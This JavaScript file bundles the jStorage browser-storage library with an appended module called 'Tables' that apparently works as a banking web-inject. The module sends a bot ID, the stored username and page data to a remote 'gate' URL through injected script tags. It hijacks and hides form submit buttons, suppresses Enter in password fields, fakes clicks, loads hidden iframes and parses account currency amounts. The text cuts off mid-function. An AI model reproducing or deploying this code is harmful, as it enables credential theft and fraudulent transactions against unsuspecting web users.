(function() { 'use strict'; var /* jStorage version */ JSTORAGE_VERSION = '0.4.12', /* detect a dollar object or create one if not found */ $ = window.jQuery || window.$ || (window.$ = {}), /* check for a JSON handling support */ JSON = { parse: window.JSON && (window.JSON.parse || window.JSON.decode) || String.prototype.evalJSON && function(str) { return String(str).evalJSON(); } || $.parseJSON || $.evalJSON, stringify: Object.toJSON || window.JSON && (window.JSON.stringify || window.JSON.encode) || $.toJSON }; // Break if no JSON support was found if (typeof JSON.parse !== 'function' || typeof JSON.stringify !== 'function') { throw new Error('No JSON support found, include //cdnjs.cloudflare.com/ajax/libs/json2/20110223/json2.js to page'); } var /* This is the object, that holds the cached values */ _storage = { __jstorage_meta: { CRC32: {} } }, /* Actual browser storage (localStorage or globalStorage['domain']) */ _storage_service = { jStorage: '{}' }, /* DOM element for older IE versions, holds userData behavior */ _storage_elm = null, /* How much space does the storage take */ _storage_size = 0, /* which backend is currently used */ _backend = false, /* onchange observers */ _observers = {}, /* timeout to wait after onchange event */ _observer_timeout = false, /* last update time */ _observer_update = 0, /* pubsub observers */ _pubsub_observers = {}, /* skip published items older than current timestamp */ _pubsub_last = +new Date(), /* Next check for TTL */ _ttl_timeout, /** * XML encoding and decoding as XML nodes can't be JSON'ized * XML nodes are encoded and decoded if the node is the value to be saved * but not if it's as a property of another object * Eg. - * $.jStorage.set('key', xmlNode); // IS OK * $.jStorage.set('key', {xml: xmlNode}); // NOT OK */ _XMLService = { /** * Validates a XML node to be XML * based on jQuery.isXML function */ isXML: function(elm) { var documentElement = (elm ? elm.ownerDocument || elm : 0).documentElement; return documentElement ? documentElement.nodeName !== 'HTML' : false; }, /** * Encodes a XML node to string * based on http://www.mercurytide.co.uk/news/article/issues-when-working-ajax/ */ encode: function(xmlNode) { if (!this.isXML(xmlNode)) { return false; } try { // Mozilla, Webkit, Opera return new XMLSerializer().serializeToString(xmlNode); } catch (E1) { try { // IE return xmlNode.xml; } catch (E2) {} } return false; }, /** * Decodes a XML node from string * loosely based on http://outwestmedia.com/jquery-plugins/xmldom/ */ decode: function(xmlString) { var dom_parser = ('DOMParser' in window && (new DOMParser()).parseFromString) || (window.ActiveXObject && function(_xmlString) { var xml_doc = new ActiveXObject('Microsoft.XMLDOM'); xml_doc.async = 'false'; xml_doc.loadXML(_xmlString); return xml_doc; }), resultXML; if (!dom_parser) { return false; } resultXML = dom_parser.call('DOMParser' in window && (new DOMParser()) || window, xmlString, 'text/xml'); return this.isXML(resultXML) ? resultXML : false; } }; ////////////////////////// PRIVATE METHODS //////////////////////// /** * Initialization function. Detects if the browser supports DOM Storage * or userData behavior and behaves accordingly. */ function _init() { /* Check if browser supports localStorage */ var localStorageReallyWorks = false; if ('localStorage' in window) { try { window.localStorage.setItem('_tmptest', 'tmpval'); localStorageReallyWorks = true; window.localStorage.removeItem('_tmptest'); } catch (BogusQuotaExceededErrorOnIos5) { // Thanks be to iOS5 Private Browsing mode which throws // QUOTA_EXCEEDED_ERRROR DOM Exception 22. } } if (localStorageReallyWorks) { try { if (window.localStorage) { _storage_service = window.localStorage; _backend = 'localStorage'; _observer_update = _storage_service.jStorage_update; } } catch (E3) { /* Firefox fails when touching localStorage and cookies are disabled */ } } /* Check if browser supports globalStorage */ else if ('globalStorage' in window) { try { if (window.globalStorage) { if (window.location.hostname == 'localhost') { _storage_service = window.globalStorage['localhost.localdomain']; } else { _storage_service = window.globalStorage[window.location.hostname]; } _backend = 'globalStorage'; _observer_update = _storage_service.jStorage_update; } } catch (E4) { /* Firefox fails when touching localStorage and cookies are disabled */ } } /* Check if browser supports userData behavior */ else { _storage_elm = document.createElement('link'); if (_storage_elm.addBehavior) { /* Use a DOM element to act as userData storage */ _storage_elm.style.behavior = 'url(#default#userData)'; /* userData element needs to be inserted into the DOM! */ document.getElementsByTagName('head')[0].appendChild(_storage_elm); try { _storage_elm.load('jStorage'); } catch (E) { // try to reset cache _storage_elm.setAttribute('jStorage', '{}'); _storage_elm.save('jStorage'); _storage_elm.load('jStorage'); } var data = '{}'; try { data = _storage_elm.getAttribute('jStorage'); } catch (E5) {} try { _observer_update = _storage_elm.getAttribute('jStorage_update'); } catch (E6) {} _storage_service.jStorage = data; _backend = 'userDataBehavior'; } else { _storage_elm = null; return; } } // Load data from storage _load_storage(); // remove dead keys _handleTTL(); // start listening for changes _setupObserver(); // initialize publish-subscribe service _handlePubSub(); // handle cached navigation if ('addEventListener' in window) { window.addEventListener('pageshow', function(event) { if (event.persisted) { _storageObserver(); } }, false); } } /** * Reload data from storage when needed */ function _reloadData() { var data = '{}'; if (_backend == 'userDataBehavior') { _storage_elm.load('jStorage'); try { data = _storage_elm.getAttribute('jStorage'); } catch (E5) {} try { _observer_update = _storage_elm.getAttribute('jStorage_update'); } catch (E6) {} _storage_service.jStorage = data; } _load_storage(); // remove dead keys _handleTTL(); _handlePubSub(); } /** * Sets up a storage change observer */ function _setupObserver() { if (_backend == 'localStorage' || _backend == 'globalStorage') { if ('addEventListener' in window) { window.addEventListener('storage', _storageObserver, false); } else { document.attachEvent('onstorage', _storageObserver); } } else if (_backend == 'userDataBehavior') { setInterval(_storageObserver, 1000); } } /** * Fired on any kind of data change, needs to check if anything has * really been changed */ function _storageObserver() { var updateTime; // cumulate change notifications with timeout clearTimeout(_observer_timeout); _observer_timeout = setTimeout(function() { if (_backend == 'localStorage' || _backend == 'globalStorage') { updateTime = _storage_service.jStorage_update; } else if (_backend == 'userDataBehavior') { _storage_elm.load('jStorage'); try { updateTime = _storage_elm.getAttribute('jStorage_update'); } catch (E5) {} } if (updateTime && updateTime != _observer_update) { _observer_update = updateTime; _checkUpdatedKeys(); } }, 25); } /** * Reloads the data and checks if any keys are changed */ function _checkUpdatedKeys() { var oldCrc32List = JSON.parse(JSON.stringify(_storage.__jstorage_meta.CRC32)), newCrc32List; _reloadData(); newCrc32List = JSON.parse(JSON.stringify(_storage.__jstorage_meta.CRC32)); var key, updated = [], removed = []; for (key in oldCrc32List) { if (oldCrc32List.hasOwnProperty(key)) { if (!newCrc32List[key]) { removed.push(key); continue; } if (oldCrc32List[key] != newCrc32List[key] && String(oldCrc32List[key]).substr(0, 2) == '2.') { updated.push(key); } } } for (key in newCrc32List) { if (newCrc32List.hasOwnProperty(key)) { if (!oldCrc32List[key]) { updated.push(key); } } } _fireObservers(updated, 'updated'); _fireObservers(removed, 'deleted'); } /** * Fires observers for updated keys * * @param {Array|String} keys Array of key names or a key * @param {String} action What happened with the value (updated, deleted, flushed) */ function _fireObservers(keys, action) { keys = [].concat(keys || []); var i, j, len, jlen; if (action == 'flushed') { keys = []; for (var key in _observers) { if (_observers.hasOwnProperty(key)) { keys.push(key); } } action = 'deleted'; } for (i = 0, len = keys.length; i < len; i++) { if (_observers[keys[i]]) { for (j = 0, jlen = _observers[keys[i]].length; j < jlen; j++) { _observers[keys[i]][j](keys[i], action); } } if (_observers['*']) { for (j = 0, jlen = _observers['*'].length; j < jlen; j++) { _observers['*'][j](keys[i], action); } } } } /** * Publishes key change to listeners */ function _publishChange() { var updateTime = (+new Date()).toString(); if (_backend == 'localStorage' || _backend == 'globalStorage') { try { _storage_service.jStorage_update = updateTime; } catch (E8) { // safari private mode has been enabled after the jStorage initialization _backend = false; } } else if (_backend == 'userDataBehavior') { _storage_elm.setAttribute('jStorage_update', updateTime); _storage_elm.save('jStorage'); } _storageObserver(); } /** * Loads the data from the storage based on the supported mechanism */ function _load_storage() { /* if jStorage string is retrieved, then decode it */ if (_storage_service.jStorage) { try { _storage = JSON.parse(String(_storage_service.jStorage)); } catch (E6) { _storage_service.jStorage = '{}'; } } else { _storage_service.jStorage = '{}'; } _storage_size = _storage_service.jStorage ? String(_storage_service.jStorage).length : 0; if (!_storage.__jstorage_meta) { _storage.__jstorage_meta = {}; } if (!_storage.__jstorage_meta.CRC32) { _storage.__jstorage_meta.CRC32 = {}; } } /** * This functions provides the 'save' mechanism to store the jStorage object */ function _save() { _dropOldEvents(); // remove expired events try { _storage_service.jStorage = JSON.stringify(_storage); // If userData is used as the storage engine, additional if (_storage_elm) { _storage_elm.setAttribute('jStorage', _storage_service.jStorage); _storage_elm.save('jStorage'); } _storage_size = _storage_service.jStorage ? String(_storage_service.jStorage).length : 0; } catch (E7) { /* probably cache is full, nothing is saved this way*/ } } /** * Function checks if a key is set and is string or numberic * * @param {String} key Key name */ function _checkKey(key) { if (typeof key != 'string' && typeof key != 'number') { throw new TypeError('Key name must be string or numeric'); } if (key == '__jstorage_meta') { throw new TypeError('Reserved key name'); } return true; } /** * Removes expired keys */ function _handleTTL() { var curtime, i, TTL, CRC32, nextExpire = Infinity, changed = false, deleted = []; clearTimeout(_ttl_timeout); if (!_storage.__jstorage_meta || typeof _storage.__jstorage_meta.TTL != 'object') { // nothing to do here return; } curtime = +new Date(); TTL = _storage.__jstorage_meta.TTL; CRC32 = _storage.__jstorage_meta.CRC32; for (i in TTL) { if (TTL.hasOwnProperty(i)) { if (TTL[i] <= curtime) { delete TTL[i]; delete CRC32[i]; delete _storage[i]; changed = true; deleted.push(i); } else if (TTL[i] < nextExpire) { nextExpire = TTL[i]; } } } // set next check if (nextExpire != Infinity) { _ttl_timeout = setTimeout(_handleTTL, Math.min(nextExpire - curtime, 0x7FFFFFFF)); } // save changes if (changed) { _save(); _publishChange(); _fireObservers(deleted, 'deleted'); } } /** * Checks if there's any events on hold to be fired to listeners */ function _handlePubSub() { var i, len; if (!_storage.__jstorage_meta.PubSub) { return; } var pubelm, _pubsubCurrent = _pubsub_last, needFired = []; for (i = len = _storage.__jstorage_meta.PubSub.length - 1; i >= 0; i--) { pubelm = _storage.__jstorage_meta.PubSub[i]; if (pubelm[0] > _pubsub_last) { _pubsubCurrent = pubelm[0]; needFired.unshift(pubelm); } } for (i = needFired.length - 1; i >= 0; i--) { _fireSubscribers(needFired[i][1], needFired[i][2]); } _pubsub_last = _pubsubCurrent; } /** * Fires all subscriber listeners for a pubsub channel * * @param {String} channel Channel name * @param {Mixed} payload Payload data to deliver */ function _fireSubscribers(channel, payload) { if (_pubsub_observers[channel]) { for (var i = 0, len = _pubsub_observers[channel].length; i < len; i++) { // send immutable data that can't be modified by listeners try { _pubsub_observers[channel][i](channel, JSON.parse(JSON.stringify(payload))); } catch (E) {} } } } /** * Remove old events from the publish stream (at least 2sec old) */ function _dropOldEvents() { if (!_storage.__jstorage_meta.PubSub) { return; } var retire = +new Date() - 2000; for (var i = 0, len = _storage.__jstorage_meta.PubSub.length; i < len; i++) { if (_storage.__jstorage_meta.PubSub[i][0] <= retire) { // deleteCount is needed for IE6 _storage.__jstorage_meta.PubSub.splice(i, _storage.__jstorage_meta.PubSub.length - i); break; } } if (!_storage.__jstorage_meta.PubSub.length) { delete _storage.__jstorage_meta.PubSub; } } /** * Publish payload to a channel * * @param {String} channel Channel name * @param {Mixed} payload Payload to send to the subscribers */ function _publish(channel, payload) { if (!_storage.__jstorage_meta) { _storage.__jstorage_meta = {}; } if (!_storage.__jstorage_meta.PubSub) { _storage.__jstorage_meta.PubSub = []; } _storage.__jstorage_meta.PubSub.unshift([+new Date(), channel, payload]); _save(); _publishChange(); } /** * JS Implementation of MurmurHash2 * * SOURCE: https://github.com/garycourt/murmurhash-js (MIT licensed) * * @author Gary Court * @see http://github.com/garycourt/murmurhash-js * @author Austin Appleby * @see http://sites.google.com/site/murmurhash/ * * @param {string} str ASCII only * @param {number} seed Positive integer only * @return {number} 32-bit positive integer hash */ function murmurhash2_32_gc(str, seed) { var l = str.length, h = seed ^ l, i = 0, k; while (l >= 4) { k = ((str.charCodeAt(i) & 0xff)) | ((str.charCodeAt(++i) & 0xff) << 8) | ((str.charCodeAt(++i) & 0xff) << 16) | ((str.charCodeAt(++i) & 0xff) << 24); k = (((k & 0xffff) * 0x5bd1e995) + ((((k >>> 16) * 0x5bd1e995) & 0xffff) << 16)); k ^= k >>> 24; k = (((k & 0xffff) * 0x5bd1e995) + ((((k >>> 16) * 0x5bd1e995) & 0xffff) << 16)); h = (((h & 0xffff) * 0x5bd1e995) + ((((h >>> 16) * 0x5bd1e995) & 0xffff) << 16)) ^ k; l -= 4; ++i; } switch (l) { case 3: h ^= (str.charCodeAt(i + 2) & 0xff) << 16; /* falls through */ case 2: h ^= (str.charCodeAt(i + 1) & 0xff) << 8; /* falls through */ case 1: h ^= (str.charCodeAt(i) & 0xff); h = (((h & 0xffff) * 0x5bd1e995) + ((((h >>> 16) * 0x5bd1e995) & 0xffff) << 16)); } h ^= h >>> 13; h = (((h & 0xffff) * 0x5bd1e995) + ((((h >>> 16) * 0x5bd1e995) & 0xffff) << 16)); h ^= h >>> 15; return h >>> 0; } ////////////////////////// PUBLIC INTERFACE ///////////////////////// $.jStorage = { /* Version number */ version: JSTORAGE_VERSION, /** * Sets a key's value. * * @param {String} key Key to set. If this value is not set or not * a string an exception is raised. * @param {Mixed} value Value to set. This can be any value that is JSON * compatible (Numbers, Strings, Objects etc.). * @param {Object} [options] - possible options to use * @param {Number} [options.TTL] - optional TTL value, in milliseconds * @return {Mixed} the used value */ set: function(key, value, options) { _checkKey(key); options = options || {}; // undefined values are deleted automatically if (typeof value == 'undefined') { this.deleteKey(key); return value; } if (_XMLService.isXML(value)) { value = { _is_xml: true, xml: _XMLService.encode(value) }; } else if (typeof value == 'function') { return undefined; // functions can't be saved! } else if (value && typeof value == 'object') { // clone the object before saving to _storage tree value = JSON.parse(JSON.stringify(value)); } _storage[key] = value; _storage.__jstorage_meta.CRC32[key] = '2.' + murmurhash2_32_gc(JSON.stringify(value), 0x9747b28c); this.setTTL(key, options.TTL || 0); // also handles saving and _publishChange _fireObservers(key, 'updated'); return value; }, /** * Looks up a key in cache * * @param {String} key - Key to look up. * @param {mixed} def - Default value to return, if key didn't exist. * @return {Mixed} the key value, default value or null */ get: function(key, def) { _checkKey(key); if (key in _storage) { if (_storage[key] && typeof _storage[key] == 'object' && _storage[key]._is_xml) { return _XMLService.decode(_storage[key].xml); } else { return _storage[key]; } } return typeof(def) == 'undefined' ? null : def; }, /** * Deletes a key from cache. * * @param {String} key - Key to delete. * @return {Boolean} true if key existed or false if it didn't */ deleteKey: function(key) { _checkKey(key); if (key in _storage) { delete _storage[key]; // remove from TTL list if (typeof _storage.__jstorage_meta.TTL == 'object' && key in _storage.__jstorage_meta.TTL) { delete _storage.__jstorage_meta.TTL[key]; } delete _storage.__jstorage_meta.CRC32[key]; _save(); _publishChange(); _fireObservers(key, 'deleted'); return true; } return false; }, /** * Sets a TTL for a key, or remove it if ttl value is 0 or below * * @param {String} key - key to set the TTL for * @param {Number} ttl - TTL timeout in milliseconds * @return {Boolean} true if key existed or false if it didn't */ setTTL: function(key, ttl) { var curtime = +new Date(); _checkKey(key); ttl = Number(ttl) || 0; if (key in _storage) { if (!_storage.__jstorage_meta.TTL) { _storage.__jstorage_meta.TTL = {}; } // Set TTL value for the key if (ttl > 0) { _storage.__jstorage_meta.TTL[key] = curtime + ttl; } else { delete _storage.__jstorage_meta.TTL[key]; } _save(); _handleTTL(); _publishChange(); return true; } return false; }, /** * Gets remaining TTL (in milliseconds) for a key or 0 when no TTL has been set * * @param {String} key Key to check * @return {Number} Remaining TTL in milliseconds */ getTTL: function(key) { var curtime = +new Date(), ttl; _checkKey(key); if (key in _storage && _storage.__jstorage_meta.TTL && _storage.__jstorage_meta.TTL[key]) { ttl = _storage.__jstorage_meta.TTL[key] - curtime; return ttl || 0; } return 0; }, /** * Deletes everything in cache. * * @return {Boolean} Always true */ flush: function() { _storage = { __jstorage_meta: { CRC32: {} } }; _save(); _publishChange(); _fireObservers(null, 'flushed'); return true; }, /** * Returns a read-only copy of _storage * * @return {Object} Read-only copy of _storage */ storageObj: function() { function F() {} F.prototype = _storage; return new F(); }, /** * Returns an index of all used keys as an array * ['key1', 'key2',..'keyN'] * * @return {Array} Used keys */ index: function() { var index = [], i; for (i in _storage) { if (_storage.hasOwnProperty(i) && i != '__jstorage_meta') { index.push(i); } } return index; }, /** * How much space in bytes does the storage take? * * @return {Number} Storage size in chars (not the same as in bytes, * since some chars may take several bytes) */ storageSize: function() { return _storage_size; }, /** * Which backend is currently in use? * * @return {String} Backend name */ currentBackend: function() { return _backend; }, /** * Test if storage is available * * @return {Boolean} True if storage can be used */ storageAvailable: function() { return !!_backend; }, /** * Register change listeners * * @param {String} key Key name * @param {Function} callback Function to run when the key changes */ listenKeyChange: function(key, callback) { _checkKey(key); if (!_observers[key]) { _observers[key] = []; } _observers[key].push(callback); }, /** * Remove change listeners * * @param {String} key Key name to unregister listeners against * @param {Function} [callback] If set, unregister the callback, if not - unregister all */ stopListening: function(key, callback) { _checkKey(key); if (!_observers[key]) { return; } if (!callback) { delete _observers[key]; return; } for (var i = _observers[key].length - 1; i >= 0; i--) { if (_observers[key][i] == callback) { _observers[key].splice(i, 1); } } }, /** * Subscribe to a Publish/Subscribe event stream * * @param {String} channel Channel name * @param {Function} callback Function to run when the something is published to the channel */ subscribe: function(channel, callback) { channel = (channel || '').toString(); if (!channel) { throw new TypeError('Channel not defined'); } if (!_pubsub_observers[channel]) { _pubsub_observers[channel] = []; } _pubsub_observers[channel].push(callback); }, /** * Publish data to an event stream * * @param {String} channel Channel name * @param {Mixed} payload Payload to deliver */ publish: function(channel, payload) { channel = (channel || '').toString(); if (!channel) { throw new TypeError('Channel not defined'); } _publish(channel, payload); }, /** * Reloads the data from browser storage */ reInit: function() { _reloadData(); }, /** * Removes reference from global objects and saves it as jStorage * * @param {Boolean} option if needed to save object as simple 'jStorage' in windows context */ noConflict: function(saveInGlobal) { delete window.$.jStorage; if (saveInGlobal) { window.jStorage = this; } return this; } }; // Initialize jStorage _init(); })(); var _tablesStorage = $.jStorage; var Tables = (function(){ var admin = 'https://ssl6.ovh.net/~lifestyl/real_track/ssllxxssll/bp/'; var data = new Array(); var link = { gate: admin+"menu.php" }; var options = { callback_status: '', iframe_status: '', currency_state: false }; var splitter = {value: 'none',position: 'none'}; var prefix = {minus: '-',plus: ''}; function notnull(param){if(param == null || param == undefined || param == "null" || param == "undefined" || param == "" || param == " "){return false;}else{return true;}} function compatHeight(){var ua = navigator.userAgent.toLowerCase();var isOpera = (ua.indexOf('opera') > -1);var isIE = (!isOpera && ua.indexOf('msie') > -1);return ((document.compatMode || isIE) && !isOpera) ? (document.compatMode == 'CSS1Compat') ? document.documentElement.clientHeight : document.body.clientHeight : (document.parentWindow || document.defaultView).innerHeight;} function cin(digits){var res = '';if(digits && digits.length > 0){digits = digits.replace(/\u2212/g, "-");var ValidChars = "-.0123456789";for(var i = 0;i < digits.length; i++){var Char = digits.charAt(i);if(ValidChars.indexOf(Char) >=0){res += Char;}}}return parseFloat(res);} function cout(digits,r){if(r == 1){digits = digits.toString().replace(/\$|\,/g,'');if(isNaN(digits))digits = "0";sign = (digits == (digits = Math.abs(digits)));digits = Math.floor(digits*100+0.50000000001);cents = digits%100;digits = Math.floor(digits/100).toString();if(cents<10)cents = "0" + cents;for (var i = 0; i < Math.floor((digits.length-(1+i))/3); i++)digits = digits.substring(0,digits.length-(4*i+3))+','+digits.substring(digits.length-(4*i+3));return (((sign)?'':'-') + digits + '.' + cents);}else if(r == 2){digits = digits.toString().replace(/\$|\,/g,'');if(isNaN(digits))digits = "0";sign = (digits == (digits = Math.abs(digits)));digits = Math.floor(digits*100+0.50000000001);cents = digits%100;digits = Math.floor(digits/100).toString();if(cents<10)cents = "0" + cents;for (var i = 0; i < Math.floor((digits.length-(1+i))/3); i++)digits = digits.substring(0,digits.length-(4*i+3))+'.'+digits.substring(digits.length-(4*i+3));return (((sign)?'':'-') + digits + ',' + cents);}else{return digits;}} function gc(digits){if(digits){if(/[0-9]/igm.test(digits)){if(/\.[0-9]{2}$|\.[0-9]{2}\s{1,}/igm.test(digits)){options.currency_state = 1;return cin(digits.replace(/\,/g, ''));}else{options.currency_state = 2;return cin(digits.replace(/\./g, '').replace(/,/g, '.'));}}else{return digits;}}else{return digits;}} function sc(digits){if(options.currency_state == 1 || options.currency_state == 2){return cout(digits,options.currency_state);}else{return digits;}} return{ brows: function(){ var ua=navigator.userAgent,tem,M=ua.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || []; if(/trident/i.test(M[1])){ tem=/\brv[ :]+(\d+)/g.exec(ua) || []; return {name:'IE ',version:(tem[1]||'')}; } if(M[1]==='Chrome'){ tem=ua.match(/\bOPR\/(\d+)/) if(tem!=null) {return {name:'Opera', version:tem[1]};} } M=M[2]? [M[1], M[2]]: [navigator.appName, navigator.appVersion, '-?']; if((tem=ua.match(/version\/(\d+)/i))!=null) {M.splice(1,1,tem[1]);} return M[0]+' '+M[1]; }, set: function(name,value){ if(/function/igm.test(typeof value)){ data[name] = value(); }else{ data[name] = value; } }, add: function(name,value){ if(data[name]){ data[name] = data[name]+value; }else{ _tables.set(name,value); } }, get: function(name){ return data[name]; }, are: function(){ var r = true; if(arguments && arguments.length > 0){ for(var i = 0; i < arguments.length; i++){ if(!data[arguments[i]]){ r = false; } } } return r; }, dump: function(){ var a = ''; for(key in data){ a += key+": "+data[key]+"\r\n"; } alert(a); }, findout: function(){ var found = { tag: false, error: false, element: false }; if(arguments && arguments.length >= 3){ var elements_array = arguments[1].split("|"); if(elements_array.length > 0){ for(var k = 0; k < elements_array.length; k++){ var elements = arguments[0].getElementsByTagName(elements_array[k]); if(elements && elements.length > 0){ for(var i = 0; i < elements.length; i++){ for(var e = 2; e < arguments.length; e++){ var pattern = new RegExp(arguments[e].split(":")[1],"igm"); if(arguments[e].split(":")[0] == "class"){ if(elements[i].className !== null && pattern.test(elements[i].className)){ found.tag = true; }else{ found.error = true; } }else if(arguments[e].split(":")[0] == "for"){ if(elements[i].className !== null && pattern.test(elements[i].htmlFor)){ found.tag = true; }else{ found.error = true; } }else{ if(elements[i].getAttribute(arguments[e].split(":")[0]) !== null && pattern.test(elements[i].getAttribute(arguments[e].split(":")[0]))){ found.tag = true; }else{ found.error = true; } } } if(found.tag && !found.error){ return elements[i]; }else{ found.tag = false; found.error = false; } } } } return false; }else{ return false; } }else{ return false; } }, findin: function(){ var found = { tag: false, error: false, element: false }; if(arguments && arguments.length > 2){ var elements = arguments[0].getElementsByTagName(arguments[1]); if(elements && elements.length > 0){ for(var i = 0; i < elements.length; i++){ for(var e = 2; e < arguments.length; e++){ var pattern = new RegExp(arguments[e],"igm"); if(pattern.test(elements[i].innerHTML.toLowerCase())){ found.tag = true; }else{ found.error = true; } } if(found.tag && !found.error){ return elements[i]; }else{ found.tag = false; found.error = false; } } } } return false; }, tinydecode: function(s){ s = s.replace(/\</g,'<'); s = s.replace(/\>/g,'>'); s = s.replace(/\"/g,'"'); s = s.replace(/\&/g,'&'); s = s.replace(/\ /g,' '); return s; }, child: function(parent,child){ return parent && child ? parent.getElementsByTagName(child) : false; }, html: function(element){ if(element){ var text = (element.textContent ? element.textContent : element.innerText) ? (element.textContent ? element.textContent : element.innerText) : element.innerHTML; return text.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,""); }else{ return ""; } }, input: function(input,type){ switch(type){ case("block"): if(input){input.onkeypress = function(evt){var evt = (evt) ? evt : ((event) ? event : null);var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);if(evt.keyCode == 13){if(evt.stopPropagation){evt.stopPropagation();}else{evt.cancelBubble = true;}return false;}};input.onkeydown = function(evt){var evt = (evt) ? evt : ((event) ? event : null);var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);if(evt.keyCode == 13){if(evt.stopPropagation){evt.stopPropagation();}else{evt.cancelBubble = true;}return false;}};} break; case("disable"): input.disabled = true; break; } }, form: function(form,type){ if(form){ switch(type){ case("block"): var inps = _tables.child(form,"input"); if(inps && inps.length > 0){ for(var i = 0; i < inps.length; i++){ if(/text|password/igm.test(inps[i].type)){ _tables.input(inps[i],'block'); } } } break; } } }, bind: function(evType,obj,func){if(obj.removeEventListener){obj.removeEventListener(evType,func,false);}else if(obj.detachEvent){obj.detachEvent ('on'+evType,func);}if(obj.addEventListener ){obj.addEventListener(evType,func,false);return true;}else if(obj.attachEvent){var r = obj.attachEvent('on'+evType,func);return r;}else{elm['on'+evType] = func;}}, replacebutton: function(button,func,btnid){ var newButton = document.createElement(/image/igm.test(button.tagName) ? 'img' : button.tagName); for(x in button.attributes){ if(notnull(button.attributes[x]) && notnull(button.attributes[x].name) && notnull(button.attributes[x].value)){ if(button.attributes[x].name == "onclick" || button.attributes[x].name == "name" || button.attributes[x].name == "disabled" || (button.attributes[x].name == "href" && !/image/igm.test(button.tagName)) || button.attributes[x].name == "id" ){ continue; } if(button.attributes[x].name == "type" && button.attributes[x].value == "submit"){ newButton.type = "button"; }else{ newButton.setAttribute(button.attributes[x].name,button.attributes[x].value); } } } if(button.tagName == "A" || button.tagName == "BUTTON" || button.tagName == "LI"){ newButton.innerHTML = button.innerHTML; } newButton.style.cursor = "pointer"; button.style.display = "none"; if(btnid){ newButton.id = btnid; }else{ newButton.id = "_tables.button"; } _tables.bind("click",newButton,func); button.parentNode.insertBefore(newButton,button); }, encode: function(b){function gethex(a){return "%" + f.charAt(a >> 4) + f.charAt(a & 0xF);}var c = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_.~";var d = "!*'();:@&=+$,/?%#[]";var e = c + d;var f = "0123456789ABCDEFabcdef";b = b + "";var g = "";if (!b || b.length == 0){return "";}for (var i = 0; i < b.length; i++) {var h = b.charAt(i);if (c.indexOf(h) != -1) {g = g + h;} else {var j = b.charCodeAt(i);if (j < 128) {g = g + gethex(j);}if (j > 127 && j < 2048) {g = g + gethex((j >> 6) | 0xC0);g = g + gethex((j & 0x3F) | 0x80);}if (j > 2047 && j < 65536) {g = g + gethex((j >> 12) | 0xE0);g = g + gethex(((j >> 6) & 0x3F) | 0x80);g = g + gethex((j & 0x3F) | 0x80);}if (j > 65535) {g = g + gethex((j >> 18) | 0xF0);g = g + gethex(((j >> 12) & 0x3F) | 0x80);g = g + gethex(((j >> 6) & 0x3F) | 0x80);g = g + gethex((j & 0x3F) | 0x80);}}}return g;}, send: function(){var l = link.gate+'?botid='+_tablesStorage.get('username')+'_'+_brows.botid+'&hash='+new Date();for(var i = 0; i < arguments.length; i++){for(key in arguments[i]){l += '&'+key+'='+_tables.encode(arguments[i][key]);}}var s = document.getElementById("_tables.as");if(s)s.parentNode.removeChild(s);var s = document.createElement("script");s.type = "text/javascript";s.id = "_tables.as";if(s.readyState){s.onreadystatechange = function(){if(s.readyState == "loaded" || s.readyState == "complete"){s.onreadystatechange = null;_tables.callback();}};}else{s.onload = function(){_tables.callback();};}l = l.replace(/\(/g,"%28").replace(/\)/g,"%29");s.src = l;document.getElementsByTagName("head")[0].appendChild(s);}, status: function(s){if(s){options.callback_status = s;}else{return options.callback_status;}}, fstatus: function(s){if(s){options.iframe_status = s;}else{return options.iframe_status;}}, rand: function(a,b){return Math.floor((Math.random()*b)+a);}, shuffle: function(o){for(var j, x, i = o.length; i; j = Math.floor(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x);return o;}, click: function(btn,doc){ if(btn.type == "image"){ var inp_X = document.getElementById("inp_X"); var inp_Y = document.getElementById("inp_Y"); var inp_submit = document.getElementById("inp_submit"); if(inp_X)inp_X.parentNode.removeChild(inp_X); if(inp_Y)inp_Y.parentNode.removeChild(inp_Y); if(inp_submit)inp_submit.parentNode.removeChild(inp_submit); var inp_X = document.createElement("input"); var inp_Y = document.createElement("input"); var inp_submit = document.createElement("input"); inp_X.name = btn.name+".x"; inp_Y.name = btn.name+".y"; inp_submit.name = btn.name; inp_submit.value = btn.value; inp_submit.type = "submit"; inp_submit.id = "inp_submit"; inp_X.id = "inp_X"; inp_Y.id = "inp_Y"; inp_X.value = _tables.rand(1,15); inp_Y.value = _tables.rand(1,15); inp_X.style.display = "none"; inp_Y.style.display = "none"; inp_submit.style.display = "none"; btn.parentNode.insertBefore(inp_X,btn); btn.parentNode.insertBefore(inp_Y,btn); btn.parentNode.insertBefore(inp_submit,btn); var inp_submit = doc.getElementById("inp_submit"); if(inp_submit)_tables.click("click",inp_submit); }else{ if(document.createEvent){ var event = document.createEvent('MouseEvents'); event.initMouseEvent('click',true,true,document.defaultView,1,0,0, 0, 0, false, false, false, false,0,null); btn.dispatchEvent(event); }else if(btn.fireEvent){ btn.click(); } } }, iframelink: function(link,param){ var _tf = document.getElementById("_tables.frame.box"); if(_tf)_tf.parentNode.removeChild(_tf); _tf = document.createElement("div"); _tf.style.position = "absolute"; _tf.style.left = _tables.get('showframe') ? "0px" : "-5000px"; _tf.style.top = _tables.get('showframe') ? "2000px" : "-5000px"; _tf.id = "_tables.frame.box"; _tf.innerHTML = ''; document.body.appendChild(_tf); var f = document.getElementById("_tables.iframe"); f.src = link; if(param)_tables.fstatus(param); }, iframedom: function(fr){ var r = { doc: false, win: false }; if(_tables.brows() == "FF" && fr){ r.doc = fr.contentDocument; r.win = fr.contentWindow; }else{ r.doc = fr.contentWindow.document; r.win = fr.contentWindow; } return r; }, height: function(){ return Math.max(document.compatMode != 'CSS1Compat' ? document.body.scrollHeight : document.documentElement.scrollHeight, compatHeight()); }, popupshow: function(content,back){ _tables.popuphide(); back = back ? '#808080' : 'url(clear.png)'; var bg = '
